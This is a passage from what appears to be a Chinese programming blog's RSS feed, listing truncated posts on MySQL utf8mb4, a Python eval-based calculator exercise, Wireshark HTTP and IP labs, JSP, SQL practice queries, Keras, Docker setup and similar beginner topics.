      <description>要在 Mysql 中保存 4 字节长度的 UTF-8 字符，需要使用 utf8mb4 字符集（mb4就是most bytes 4的意思，专门用来兼容四字节的unicode），但只有 5.5.3 版本以后的才支持。&#xA;为了获取更好的兼容性，应该总是使用 utf8mb4 而非 utf8. 对于 CHAR 类型数据，utf8mb4 会多消耗一些空间，根据 Mysql 官方建议，使用 VARCHAR 替代 CHAR。其实，utf8mb4是utf8的超集，理论上原来使用utf8，然后将字符集修改为utf8mb4，也会不会对已有的utf8编码读取产生任何问题。当然，为了节省空间一般情况下使用utf8也就够了！转换是否有影响&#xA;MySQL 可以设置数据库级别，表级别，列级别 字符集编码 优先级顺序为：数据库字符集 &amp;lt; 表字符集 &amp;lt; 列字符集&#xA;也就是 上面三个级别 字符集不一致时，以 更小范围的配置 为准；&#xA;例如：数据库字符集为utf8，表字符集不设置的情况下会默认utf8。如果表主动设置了编码 utf8mb4，那么表的字符集编码就为utf8mb4。&#xA;MySQL数据库的&#34;utf8&#34;并不是真正概念里的UTF-8 转载链接&#xA;MySQL中的“utf8”编码只支持最大3字节每字符。真正的大家正在使用的UTF-8编码是应该能支持4字节每个字符。&#xA;MySQL的开发者没有修复这个bug。他们在2010年增加了一个变通的方法：一个新的字符集“utf8mb4”&#xA;当然，他们并没有对外公布(可能因为这个bug有点尴尬)。现在很多指南推荐用户使用“utf8”其实都错了！&#xA;简单的说:&#xA;MySQL中的 “utf8mb4” 才是 真正意义上的“UTF-8”。&#xA;MySQL的utf8是个“特殊的字符编码”。这种编码很多Unicode字符保存不了。&#xA;建议MySQL和MariaDB用户使用“utf8mb4”而不是“utf8”。&#xA;编码是什么？什么是UTF-8？&#xA;计算机使用0和1存储文字。比如第一段第一个字符存储为“01000011”表示“C”，计算机通过以下两个步骤选择用“C”表示：&#xA;计算机读取到“01000011”后计算出这是数字67。&#xA;计算机通过查找Unicode字符集来确认67代表的“C”。&#xA;同样的事情发生在我打字输入C的时候。&#xA;计算机通过Unicode字符集将“C” 映射为67。&#xA;计算机把67编码为“01000011”发送给web服务器。&#xA;几乎所有的程序和互联网应用使用Unicode字符集。&#xA;Unicode字符集里有超过100万个字符(“C” 和 “❤” 是两种不同的字符)。UTF-32是最简单的编码方式，它在表示每个字符的时候使用32个bits。这样编码简单，但是并不实用，明显浪费了太多的空间。&#xA;UTF-8相比UTF-32更加节约空间。在UTF-8中，像“C”这样的字符占用8bits，“❤”这样的占用32 bits。其他字符占用16或者24 bits。用UTF-8存储比用UTF-32节省4倍左右的空间。更小的空间占用也意味着加载速度会快上4倍。</description>
    </item>
    <item>
      <title>练习：Python 的字符串处理, 一个朴实无华的四则运算计算器，批量计算小学生四则运算表达式</title>
      <link>https://bchobby.github.io/posts/eb2a462b9b1f25c069264625f51f22de/</link>
      <pubDate>Wed, 08 Jun 2022 00:27:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb2a462b9b1f25c069264625f51f22de/</guid>
      <description>Python 官网：https://www.python.org/&#xA;Free：大咖免费“圣经”教程《 python 完全自学教程》，不仅仅是基础那么简单…… My CSDN主页、My HOT博、My Python 学习个人备忘录好文力荐、 老齐教室 自学并不是什么神秘的东西，一个人一辈子自学的时间总是比在学校学习的时间长，没有老师的时候总是比有老师的时候多。&#xA;—— 华罗庚&#xA;Python 的字符串处理 朴实无华的四则运算计算器 批量计算小学生四则运算表达式 题目 Python 的字符串处理, 一个朴实无华的四则运算计算器，批量计算小学生四则运算表达式&#xA;# -*- coding: UTF-8 -*- import re def naive_calc(code): def test(): code = &#39;&#39;&#39; 1+2 3+4 5-3 4*3 10/2 &#39;&#39;&#39; naive_calc(code) if __name__ == &#39;__main__&#39;: test() 此题目错误选项忽略了re获取的数字是str的事实，没有用int转换。&#xA;其实，还可以用python内置函数eval()直接转换str.split(“/n”)得来的字符串计算表达式。&#xA;效果&#xA;代码：&#xA;def naive_calc(code): &#39;&#39;&#39; 简单计算器 &#39;&#39;&#39; return eval(code) # 用python内置函数eval()转换计算表达式字符串为python可执行代码语句。 if __name__ == &#39;__main__&#39;: codes = &#39;&#39;&#39; 1+2 3+4 5-3 4*3 10/2 &#39;&#39;&#39; tem = [code.</description>
    </item>
    <item>
      <title>超文本传输协议HTTP分析</title>
      <link>https://bchobby.github.io/posts/6f206f70670c57fbf8aa91483e3de6e6/</link>
      <pubDate>Tue, 07 Jun 2022 22:52:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f206f70670c57fbf8aa91483e3de6e6/</guid>
      <description>一、实验名称 超文本传输协议 Http分析&#xA;二、实验目的 1. 掌握使用Wireshark分析俘获HTTP协议的基本技能；&#xA;2. 深刻理解HTTP重要的工作机理和过程。&#xA;三、实验内容和要求 1、 Http协议的Get/Resonse互动机制；&#xA;2、 Http协议的分组格式；&#xA;3、 如何利用Http传输Html文件；&#xA;4、 如何利用Http传输图片、动画等嵌入式文件；&#xA;四、实验环境&#xA;1. 运行windows 10 操作系统的PC一台。&#xA;2. IE浏览器等软件。&#xA;3. 每台PC运行程序协议分析仪 Wireshark。&#xA;五、操作方法和实验具体步骤&#xA;1.Http 的基本请求/响应互动机制&#xA;(1)打开 chrome 浏览器&#xA;(2)打开 Wireshark软件，打开抓包菜单中的网络接口子菜单，从中选择本机使用的网络接口。&#xA;(3)切入包捕获界面后，在过滤栏中输入http&amp;amp;&amp;amp;ip.dst==128.119.245.12||ip.src==128.119.245.12,即只观察与128.119.245.12交互的http分组。&#xA;(4)在chrome浏览器输入 ：http://gaia.cs.umass.edu/wireshark-labs/HTTP-wireshark-file1.html；此时浏览器应该会显示一个最简单的 html 页面(只有一行 )，如图1所示：&#xA;图1 浏览器显示的页面&#xA;(5)此时，Wireshak软件应该抓取的Http数据包如图2所示。&#xA;图2 俘获的http分组&#xA;从上图中可观察到总共捕获到四个 http 包，其中，包括 Http 的 Get分组(由本机浏览器向服务器 gaia.cs.umass.edu发出的请求 )以及服务器返回的响应分组。需要注意的是，第一轮请求与回复请求的是具体的页面；而第二轮请求与回复涉及的却是一个 favicon.ico 文件。分组内容展示窗口中可以观察这两个分组的详细信息。从展开的分组内容中可以看出： Http 包是经由Tcp协议传输，而 Tcp 又是附加在IP 数据包的基础上，后者又附加在一个以太网帧内。以第一轮分组为观察目标，试着回答如下问题:&#xA;(1 )你的浏览器运行的是什么协议版本? Http1.0 还是Http1. 1?服务器运行的又是什么版本呢?&#xA;我的浏览器运行的是Http1. 1版本(Request Version: HTTP/1.</description>
    </item>
    <item>
      <title>JSP和el以及jstl</title>
      <link>https://bchobby.github.io/posts/6866e1a193396ef8fa87788edbb0d820/</link>
      <pubDate>Tue, 07 Jun 2022 22:25:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6866e1a193396ef8fa87788edbb0d820/</guid>
      <description>jsp&#xA;Java Server Page&#xA;什么是jsp jsp站在客户端来看，jsp是一个显示内容的页面，能动态的显示页面中的内容，所以称jsp为动态页面，比如login.jsp(能从后台获取数据更新自己的页面)，能在jsp页面写java代码，所以jsp可以看成是java+html,站在程序员来看，其实jsp就是一个servlet（在tomcat容器中将访问的jsp编译并翻译为servlet），但各自有各自的特点，所以共存，jsp重点用于显示动态内容，servlet则重于完成动态数据模型的业务逻辑处理&#xA;为什么会有jsp? html 多数情况下用来显示静态内容 ， 一成不变的。 但是有时候我们需要在网页上显示一些动态数据， 比如： 查询所有的学生信息， 根据姓名去查询具体某个学生。 这些动作都需要去查询数据库，然后在网页上显示。 html是不支持写java代码 ， jsp里面可以写java代码。&#xA;怎么用JSP&#xA;指令写法&#xA;&amp;lt;%@ 指令名字 %&amp;gt;&#xA;page指令&#xA;language 表明jsp页面中可以写java代码&#xA;contentType 其实即使说这个文件是什么类型，告诉浏览器我是什么内容类型，以及使用什么编码&#xA;contentType=&#34;text/html; charset=UTF-8&#34;&#xA;text/html MIMEType 这是一个文本，html网页&#xA;pageEncoding jsp内容编码extends 用于指定jsp翻译成java文件后，继承的父类是谁，一般不用改。import 导包使用的，一般不用手写。session 值可选的有true or false .&#xA;用于控制在这个jsp页面里面，能够直接使用session对象。&#xA;具体的区别是，请看翻译后的java文件 如果该值是true , 那么在代码里面会有getSession（）的调用，如果是false : 那么就不会有该方法调用，也就是没有session对象了。在页面上自然也就不能使用session了。&#xA;errorPage 指的是错误的页面， 值需要给错误的页面路径&#xA;isErrorPage 上面的errorPage 用于指定错误的时候跑到哪一个页面去。 那么这个isErroPage , 就是声明某一个页面到底是不是错误的页面。&#xA;页面设置errorPage跳转属性的结果页面&#xA;应该这样呈现给客户端&#xA;而非这样：&#xA;include&#xA;包含另外一个jsp的内容进来。&#xA;&amp;lt;%@ include file=&#34;other02.jsp&#34;%&amp;gt;&#xA;背后细节: 把另外一个页面的所有内容拿过来一起输出。 所有的标签元素都包含进来。</description>
    </item>
    <item>
      <title>基于Java的坦克大战游戏的设计与实现</title>
      <link>https://bchobby.github.io/posts/99584b6d2eaccf6515ee7d7eab997108/</link>
      <pubDate>Tue, 07 Jun 2022 21:35:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99584b6d2eaccf6515ee7d7eab997108/</guid>
      <description>游戏由服务器端和客户端两部分组成。&#xA;在服务器端，ServerModel类主要用来创建主机，ServerView类主要负责服务器端图形界面的面板信息的设置，ServerControler类处理来自服务器视图框架的输入，包括创立通信与帮助信息等，enemy类主要负责敌方坦克的创建，player类主要用来设置玩家的得分及其显示位置等信息，drawingPanel类主要负责服务器端界面窗口的创建和设置，powerUp类主要用来设置子弹属性，例如加快速度、提升火力等，feedbackHandler类主要用来解码从客户端发来的指令字符串，再将其转换成指令来判断游戏失败后玩家是否继续游戏的问题。&#xA;在客户端，ClientModel类主要用来设置与服务器的连接，ClientView类主要负责客户端端图形界面的面板信息，ClientControler类主要负责处理来自客户端视图框架的输入和创立通信与帮助信息等，drawingPanel主要用来设置客户端窗口界面，instructionHandler类主要用来解码从服务器端发来的指令字符串，再将其转换成指令来判断游戏失败后玩家是否继续游戏的问题，shield类主要负责设置坦克吃掉头盔图标获得保护时的状态，normalObject类主要用来创建和描绘其他物体对象。&#xA;在服务器端和客户端中都存在的类中，Actor类主要用来创建接口，base类主要用来创建基地并设置属性，bullet类主要用来创建子弹并设置属性，Ticker类主要用来创建时间信息，bomb类主要用来创建子弹打出后产生的爆炸效果，river类主要用来创建河道并设置属性，grass类主要负责创建草坪并设置属性，Steelwall类主要用来创建铁墙并设置属性，wall类主要用来创建和设置普通墙及其属性，level类负责创建关卡。如表1，表2所示。&#xA;表1 游戏服务器端各类功能表&#xA;ServerModel&#xA;创建主机&#xA;ServerView&#xA;设置服务器端图形界面的面板信息&#xA;ServerControler&#xA;处理来自服务器视图框架的输入&#xA;enemy&#xA;创建敌方坦克&#xA;player&#xA;设置玩家的得分及其显示位置等信息&#xA;drawingPanel&#xA;创建和设置服务器端界面窗口&#xA;powerUp&#xA;加快子弹速度并提升火力&#xA;feedbackHandler&#xA;判断指令并执行&#xA;Actor&#xA;创建接口&#xA;base&#xA;创建并设置基地&#xA;Ticker&#xA;创建并设置时间信息&#xA;bullet&#xA;创建子弹并设置属性&#xA;bomb&#xA;设置爆炸效果&#xA;river&#xA;创建河道并设置属性&#xA;grass&#xA;创建草坪并设置属性&#xA;Steelwall&#xA;创建铁墙并设置属性&#xA;wall&#xA;创建普通墙并设置属性&#xA;level&#xA;创建关卡&#xA;表2 游戏客户端各类功能表&#xA;ClientModel&#xA;设置与服务器的连接&#xA;ClientView&#xA;设置客户端端图形界面的面板信息&#xA;ClientControler&#xA;负责处理来自客户端视图框架的输入&#xA;drawingPanel&#xA;设置客户端窗口界面&#xA;instructionHandler&#xA;判断指令并执行&#xA;shield&#xA;设置玩家坦克防护盾&#xA;normalObject&#xA;创建并描绘其他的物体对象&#xA;level&#xA;创建关卡&#xA;base&#xA;创建并设置基地&#xA;Ticker&#xA;创建并设置时间信息&#xA;bullet&#xA;创建子弹并设置属性&#xA;bomb&#xA;设置爆炸效果&#xA;river</description>
    </item>
    <item>
      <title>经典SQL50题（21~30）</title>
      <link>https://bchobby.github.io/posts/ef715a62121c796537d3d930d31d5692/</link>
      <pubDate>Tue, 07 Jun 2022 21:17:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef715a62121c796537d3d930d31d5692/</guid>
      <description>创建表SQL create table Student(sid varchar(10),sname varchar(10),sage datetime,ssex nvarchar(10)); insert into Student values(&#39;01&#39; , &#39;赵雷&#39; , &#39;1990-01-01&#39; , &#39;男&#39;); insert into Student values(&#39;02&#39; , &#39;钱电&#39; , &#39;1990-12-21&#39; , &#39;男&#39;); insert into Student values(&#39;03&#39; , &#39;孙风&#39; , &#39;1990-05-20&#39; , &#39;男&#39;); insert into Student values(&#39;04&#39; , &#39;李云&#39; , &#39;1990-08-06&#39; , &#39;男&#39;); insert into Student values(&#39;05&#39; , &#39;周梅&#39; , &#39;1991-12-01&#39; , &#39;女&#39;); insert into Student values(&#39;06&#39; , &#39;吴兰&#39; , &#39;1992-03-01&#39; , &#39;女&#39;); insert into Student values(&#39;07&#39; , &#39;郑竹&#39; , &#39;1989-07-01&#39; , &#39;女&#39;); insert into Student values(&#39;08&#39; , &#39;王菊&#39; , &#39;1990-01-20&#39; , &#39;女&#39;); create table Course(cid varchar(10),cname varchar(10),tid varchar(10)); insert into Course values(&#39;01&#39; , &#39;语文&#39; , &#39;02&#39;); insert into Course values(&#39;02&#39; , &#39;数学&#39; , &#39;01&#39;); insert into Course values(&#39;03&#39; , &#39;英语&#39; , &#39;03&#39;); create table Teacher(tid varchar(10),tname varchar(10)); insert into Teacher values(&#39;01&#39; , &#39;张三&#39;); insert into Teacher values(&#39;02&#39; , &#39;李四&#39;); insert into Teacher values(&#39;03&#39; , &#39;王五&#39;); create table SC(sid varchar(10),cid varchar(10),score decimal(18,1)); insert into SC values(&#39;01&#39; , &#39;01&#39; , 80); insert into SC values(&#39;01&#39; , &#39;02&#39; , 90); insert into SC values(&#39;01&#39; , &#39;03&#39; , 99); insert into SC values(&#39;02&#39; , &#39;01&#39; , 70); insert into SC values(&#39;02&#39; , &#39;02&#39; , 60); insert into SC values(&#39;02&#39; , &#39;03&#39; , 80); insert into SC values(&#39;03&#39; , &#39;01&#39; , 80); insert into SC values(&#39;03&#39; , &#39;02&#39; , 80); insert into SC values(&#39;03&#39; , &#39;03&#39; , 80); insert into SC values(&#39;04&#39; , &#39;01&#39; , 50); insert into SC values(&#39;04&#39; , &#39;02&#39; , 30); insert into SC values(&#39;04&#39; , &#39;03&#39; , 20); insert into SC values(&#39;05&#39; , &#39;01&#39; , 76); insert into SC values(&#39;05&#39; , &#39;02&#39; , 87); insert into SC values(&#39;06&#39; , &#39;01&#39; , 31); insert into SC values(&#39;06&#39; , &#39;03&#39; , 34); insert into SC values(&#39;07&#39; , &#39;02&#39; , 89); insert into SC values(&#39;07&#39; , &#39;03&#39; , 98); 表结构 学生表 Student</description>
    </item>
    <item>
      <title>语义分割各种评价指标实现</title>
      <link>https://bchobby.github.io/posts/ce7a57cbb6e51e70c3aa3b3cfd062a5e/</link>
      <pubDate>Tue, 07 Jun 2022 21:00:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce7a57cbb6e51e70c3aa3b3cfd062a5e/</guid>
      <description>前言 现存其实已经有很多博客实现了这个代码，但是可能不完整或者不能直接用于测试集的指标计算，这里简单概括一下。&#xA;一些概念、代码参考： [1] 憨批的语义分割9——语义分割评价指标mIOU的计算&#xA;[2]【语义分割】评价指标：PA、CPA、MPA、IoU、MIoU详细总结和代码实现（零基础从入门到精通系列！）&#xA;[3] 【语义分割】评价指标总结及代码实现&#xA;混淆矩阵 语义分割的各种评价指标都是基于混淆矩阵来的。&#xA;对于一个只有背景0和目标1的语义分割任务来说，混淆矩阵可以简单理解为：&#xA;TP（1被认为是1）FP（0被认为是1）FN（1被认为是0）TN（0被认为是0） 各种指标的计算 1. 像素准确率 PA =（TP+TN）/（TP+TN+FP+FN）&#xA;2. 类别像素准确率 CPA = TP / (TP+FP)&#xA;3. 类别平均像素准确率 MPA = （CPA1+...+CPAn）/ n&#xA;4. 交并比 IoU = TP / (TP+FP+FN) 5. 平均交并比 MIoU = (IoU1+...+IoUn) / n&#xA;6. 频权交并比 FWIoU = [ (TP+FN) / (TP+FP+TN+FN) ] * [ TP / (TP + FP + FN) ]&#xA;代码实现 &#34;&#34;&#34; https://blog.csdn.net/sinat_29047129/article/details/103642140 https://www.cnblogs.com/Trevo/p/11795503.html refer to https://github.</description>
    </item>
    <item>
      <title>@Validated注解</title>
      <link>https://bchobby.github.io/posts/662a5c40a5ddceb021861792f01fa369/</link>
      <pubDate>Tue, 07 Jun 2022 19:08:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/662a5c40a5ddceb021861792f01fa369/</guid>
      <description>一. 在javaEE项目中经常要判断一些字段的格式是否正确。在以前基本上都是用if(啥啥 啥)else(啥啥啥) 。但是在知道@Validated之后就开始尝试用这个注解了。不但减轻代码量而 且代码更加的易读规整。&#xA;二. 下面就以简单例子来说明。&#xA;Controller 层 @PostMapping(&#34;student&#34;) @ApiOperation(&#34;学生注册&#34;) public @ResponseBody Map&amp;lt;String, Object&amp;gt; registerStudent(@RequestBody @Validated UserJsonBean user, HttpServletRequest request) throws UnsupportedEncodingException, NoSuchAlgorithmException { Map&amp;lt;String,Object&amp;gt; retMap; retMap=registerService.baseRegister(user,0,request); return retMap; } 在要校验对象上加上@Validated注解&#xA;2.Bean层&#xA;(1) public class UserJsonBean extends User (2) public class User { @Id @Column(name=&#34;id&#34;,nullable = false) @GeneratedValue private Long id; @Email @Column(name = &#34;user_email&#34;, nullable = false) private String userEmail; 3.测试&#xA;（1）传入数据&#xA;{ &#34;emailCode&#34;: 1234, &#34;phoneCode&#34;: &#34;1234&#34;, &#34;</description>
    </item>
    <item>
      <title>keras.Sequential</title>
      <link>https://bchobby.github.io/posts/857de01cd9a622aa15eecde9c33f264e/</link>
      <pubDate>Tue, 07 Jun 2022 17:56:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/857de01cd9a622aa15eecde9c33f264e/</guid>
      <description>目录&#xA;Class Sequential&#xA;Used in the guide:&#xA;Used in the tutorials:&#xA;__init__&#xA;Properties&#xA;layers&#xA;metrics_names&#xA;run_eagerly&#xA;sample_weights&#xA;state_updates&#xA;stateful&#xA;Methods&#xA;add&#xA;compile&#xA;evaluate&#xA;evaluate_generator&#xA;fit&#xA;fit_generator&#xA;get_layer&#xA;load_weights&#xA;pop&#xA;predict&#xA;predict_classes&#xA;predict_generator&#xA;predict_on_batch&#xA;predict_proba&#xA;reset_metrics&#xA;reset_states&#xA;save&#xA;save_weights&#xA;summary&#xA;test_on_batch&#xA;to_json&#xA;to_yaml&#xA;train_on_batch&#xA;Class Sequential Linear stack of layers.&#xA;Inherits From: Model&#xA;Aliases: tf.compat.v1.keras.Sequential, tf.compat.v1.keras.models.Sequential, tf.compat.v2.keras.Sequential, tf.compat.v2.keras.models.Sequential, tf.keras.models.Sequential&#xA;Used in the guide: Keras overviewMigrate your TensorFlow 1 code to TensorFlow 2Recurrent Neural Networks (RNN) with KerasDistributed training with TensorFlowEager execution Used in the tutorials: Overfit and underfitTime series forecastingConvolutional Variational AutoencoderDeep Convolutional Generative Adversarial NetworkPix2Pix Arguments:</description>
    </item>
    <item>
      <title>Docker入门（安装、换阿里源及配置阿里云镜像加速）</title>
      <link>https://bchobby.github.io/posts/842e27ba9b6ce9e1f6a8051068f7f9a7/</link>
      <pubDate>Tue, 07 Jun 2022 14:29:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/842e27ba9b6ce9e1f6a8051068f7f9a7/</guid>
      <description>文章目录 一、Docker 概述1.1 Docker 为什么出现1.2 Docker 的历史1.3 聊聊 Docker1.4 Docker 能干嘛 二、Docker 安装2.1 Docker 的基本组成2.2 安装 Docker2.3 阿里云镜像加速 一、Docker 概述 1.1 Docker 为什么出现 要解决的问题&#xA;一款产品: 开发 – 上线 两套环境! 应用环境, 应用配置!&#xA;开发 – 运维.&#xA;问题: 我在我的电脑上可以运行! 版本更新, 导致服务不可用! 对于运维来说, 考验就十分大!&#xA;环境配置十分的麻烦, 每一个机器都要部署环境(集群Redis、ES、Hadoop…)! 费时费力。&#xA;发布一个项目(jar + (Redis + MySQL jdk ES)), 项目能不能都带上环境安装打包!&#xA;之前在服务器配置一个应用的环境 Redis MySQL jdk ES Hadoop , 配置超麻烦, 不能够跨平台.&#xA;Windows, 最后发布到 Linux!&#xA;传统: 开发jar, 运维来做!&#xA;现在: 开发打包部署上线, 一套流程做完!</description>
    </item>
    <item>
      <title>Java基础算法50题（二）</title>
      <link>https://bchobby.github.io/posts/76be92ed27f1115d331d07de3134a39e/</link>
      <pubDate>Tue, 07 Jun 2022 09:43:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76be92ed27f1115d331d07de3134a39e/</guid>
      <description>文章目录 26、请输入星期几的第一个字母来判断一下是星期几，如果第一个字母一样，则继续判断第二个字母。27、求100之内的素数。28、对10个数进行排序。29、求一个3*3矩阵对角线元素之和。30、有一个已经排好序的数组。现输入一个数，要求按原来的规律将它插入数组中。31、将一个数组逆序输出。32、取一个整数a从右端开始的4～7位。33、打印出杨辉三角形（要求打印出10行）34、输入3个数 a、b、c，按大小顺序输出。35、输入数组，最大的与第一个元素交换，最小的与最后一个元素交换，输出数组。36、有n个整数，使其前面各数顺序向后移m个位置，最后m个数变成最前面的m个数。37、有n个人围成一圈，顺序排号。从第一个人开始报数（从1到3报数），凡报到3的人退出圈子，问最后留下的是原来第几号的那位。38、写一个函数，求一个字符串的长度，在main函数中输入字符串，并输出其长度。39、编写一个函数，输入n为偶数时，调用函数求1/2+1/4+...+1/n,当输入n为奇数时，调用函数1/1+1/3+...+1/n。40、字符串排序。41、海滩上有一堆桃子，五只猴子来分。第一只猴子把这堆桃子凭据分为五份，多了一个，这只猴子把多的一个扔入海中，拿走了一份。第二只猴子把剩下的桃子又平均分成五份，又多了一个，它同样把多的一个扔入海中，拿走了一份，第三、第四、第五只猴子都是这样做的，问海滩上原来最少有多少个桃子？42、809*??=800*??+9*??，其中??代表的两位数,8*??的结果为两位数，9*??的结果为3位数。求??代表的两位数，及809*??后的结果。43、求0—7所能组成的奇数个数。44、一个偶数总能表示为两个素数之和。45、判断一个数能被几个9整除。46、两个字符串连接程序。47、读取7个数（1—50）的整数值，每读取一个值，程序打印出该值个数的＊。48、某个公司采用公用电话传递数据，数据是四位的整数，在传递过程中是加密的，加密规则如下：每位数字都加上5,然后用和除以10的余数代替该数字，再将第一位和第四位交换，第二位和第三位交换。49、计算字符串中子串出现的次数。50、有五个学生，每个学生有3门课的成绩，从键盘输入以上数据（包括学生号，姓名，三门课成绩），计算出平均成绩，把原有的数据和计算出的平均分数存放在磁盘文件 &#34;stud &#34;中。 26、请输入星期几的第一个字母来判断一下是星期几，如果第一个字母一样，则继续判断第二个字母。 该题目指定用单个字符来进行日期的判断，而单个字符是可以当int型使用的，所以在此处用switch…case较为方便，示例代码如下：&#xA;private static String judgeWeek(char[] weeks){ String week=&#34;&#34;; switch(weeks[0]){ case &#39;M&#39;: case &#39;m&#39;: week=&#34;Monday&#34;; break; case &#39;T&#39;: case &#39;t&#39;: if(weeks[1]==&#39;u&#39;||weeks[1]==&#39;U&#39;) week=&#34;Tuesday&#34;; else if(weeks[1]==&#39;h&#39;||weeks[1]==&#39;H&#39;) week=&#34;Thursday&#34;; break; case &#39;W&#39;: case &#39;w&#39;: week=&#34;Wednesday&#34;; break; case &#39;F&#39;: case &#39;f&#39;: week=&#34;Friday&#34;; break; case &#39;S&#39;: case &#39;s&#39;: if(weeks[1]==&#39;a&#39;||weeks[1]==&#39;A&#39;) week=&#34;Saturday&#34;; else if(weeks[1]==&#39;s&#39;||weeks[1]==&#39;U&#39;) week=&#34;Sunday&#34;; break; } return week; } 27、求100之内的素数。 该题目的逻辑并不复杂，之前的题目中也有类似的，双层for循环，外层被除数，内层除数，遍历相除，输出筛选出来的值即可。此处说一下可能会采的坑。初版代码如下：&#xA;private static void printNum(int num){ boolean isPrint=true; for(int i=3;i&amp;lt;num;i++){ for(int j=2;j&amp;lt;=(int)Math.</description>
    </item>
    <item>
      <title>经典SQL50题（11~20）</title>
      <link>https://bchobby.github.io/posts/7089e964e504fd3c143f293d2e6a87eb/</link>
      <pubDate>Mon, 06 Jun 2022 22:56:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7089e964e504fd3c143f293d2e6a87eb/</guid>
      <description>创建表SQL create table Student(sid varchar(10),sname varchar(10),sage datetime,ssex nvarchar(10)); insert into Student values(&#39;01&#39; , &#39;赵雷&#39; , &#39;1990-01-01&#39; , &#39;男&#39;); insert into Student values(&#39;02&#39; , &#39;钱电&#39; , &#39;1990-12-21&#39; , &#39;男&#39;); insert into Student values(&#39;03&#39; , &#39;孙风&#39; , &#39;1990-05-20&#39; , &#39;男&#39;); insert into Student values(&#39;04&#39; , &#39;李云&#39; , &#39;1990-08-06&#39; , &#39;男&#39;); insert into Student values(&#39;05&#39; , &#39;周梅&#39; , &#39;1991-12-01&#39; , &#39;女&#39;); insert into Student values(&#39;06&#39; , &#39;吴兰&#39; , &#39;1992-03-01&#39; , &#39;女&#39;); insert into Student values(&#39;07&#39; , &#39;郑竹&#39; , &#39;1989-07-01&#39; , &#39;女&#39;); insert into Student values(&#39;08&#39; , &#39;王菊&#39; , &#39;1990-01-20&#39; , &#39;女&#39;); create table Course(cid varchar(10),cname varchar(10),tid varchar(10)); insert into Course values(&#39;01&#39; , &#39;语文&#39; , &#39;02&#39;); insert into Course values(&#39;02&#39; , &#39;数学&#39; , &#39;01&#39;); insert into Course values(&#39;03&#39; , &#39;英语&#39; , &#39;03&#39;); create table Teacher(tid varchar(10),tname varchar(10)); insert into Teacher values(&#39;01&#39; , &#39;张三&#39;); insert into Teacher values(&#39;02&#39; , &#39;李四&#39;); insert into Teacher values(&#39;03&#39; , &#39;王五&#39;); create table SC(sid varchar(10),cid varchar(10),score decimal(18,1)); insert into SC values(&#39;01&#39; , &#39;01&#39; , 80); insert into SC values(&#39;01&#39; , &#39;02&#39; , 90); insert into SC values(&#39;01&#39; , &#39;03&#39; , 99); insert into SC values(&#39;02&#39; , &#39;01&#39; , 70); insert into SC values(&#39;02&#39; , &#39;02&#39; , 60); insert into SC values(&#39;02&#39; , &#39;03&#39; , 80); insert into SC values(&#39;03&#39; , &#39;01&#39; , 80); insert into SC values(&#39;03&#39; , &#39;02&#39; , 80); insert into SC values(&#39;03&#39; , &#39;03&#39; , 80); insert into SC values(&#39;04&#39; , &#39;01&#39; , 50); insert into SC values(&#39;04&#39; , &#39;02&#39; , 30); insert into SC values(&#39;04&#39; , &#39;03&#39; , 20); insert into SC values(&#39;05&#39; , &#39;01&#39; , 76); insert into SC values(&#39;05&#39; , &#39;02&#39; , 87); insert into SC values(&#39;06&#39; , &#39;01&#39; , 31); insert into SC values(&#39;06&#39; , &#39;03&#39; , 34); insert into SC values(&#39;07&#39; , &#39;02&#39; , 89); insert into SC values(&#39;07&#39; , &#39;03&#39; , 98); 表结构 学生表 Student</description>
    </item>
    <item>
      <title>分析IP报文结构</title>
      <link>https://bchobby.github.io/posts/dfc2db8e697908a9fc3e256b63e1a5d5/</link>
      <pubDate>Mon, 06 Jun 2022 22:12:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dfc2db8e697908a9fc3e256b63e1a5d5/</guid>
      <description>一、实验目的&#xA;1. 掌握使用Wireshark分析俘获trace文件的基本技能；&#xA;2. 深刻理解IP报文结构和工作原理。&#xA;二、实验内容和要求&#xA;1. 分析俘获的分组；&#xA;2. 分析IP报文结构。&#xA;3. 记录每一字段的值，分析它的作用&#xA;三、实验环境&#xA;运行Windows10操作系统的PC一台。&#xA;PC具有以太网卡一块，通过双绞线与校园网相连；或者具有适合的踪迹文件。&#xA;运行程序协议分析仪Wireshark 3.6.3。&#xA;四、操作方法和实验具体步骤&#xA;分析俘获的分组&#xA;打开踪迹文件，选中编号15的分组，用鼠标指向其源地址，打开如图1所示菜单，点击“选中”，就会出现如图2所示的界面。可见，系统已经自动用其源地址作为过滤条件，从众多分组中过滤出与编号为15的分组有关分组了。更一般的定义条件，可选用“分析/显示过滤器”功能，如图三所示。&#xA;图1分组列表窗口的弹出菜单&#xA;图2以源地址作为条件进行过滤&#xA;图3显示过滤器&#xA;有时为了清晰可见，需要屏蔽较高层协议的细节，可以点击“分析/启动的协议”打开窗口，若除去选择IP，则将屏蔽IP相关信息。&#xA;（2）分析IP报文结构&#xA;将计算机联入网络，打开Wireshark俘获分组，从本机向选定的Web服务器发送Ping报文。（图4）选中其中一条Ping报文，该帧中的协议结构是：Ethernet:IP：ICMP：data。为了进一步分析IP数据报结构，点击首部细节信息栏中的“Internet Protocol”行，有关信息展开如图5，6首部信息窗口所示。&#xA;图4发送ping报文&#xA;图5&#xA;图6“Internet Protocol”详细信息&#xA;查看本机IP（图7），得到自己的计算机IP地址是：IP v4 192.168.43.32&#xA;图7查看IP&#xA;IP数据报（图 8）如下：&#xA;4500 020c 73b7 4000 3506 d8f5 7169 9a0d c0a8 2b20&#xA;图8 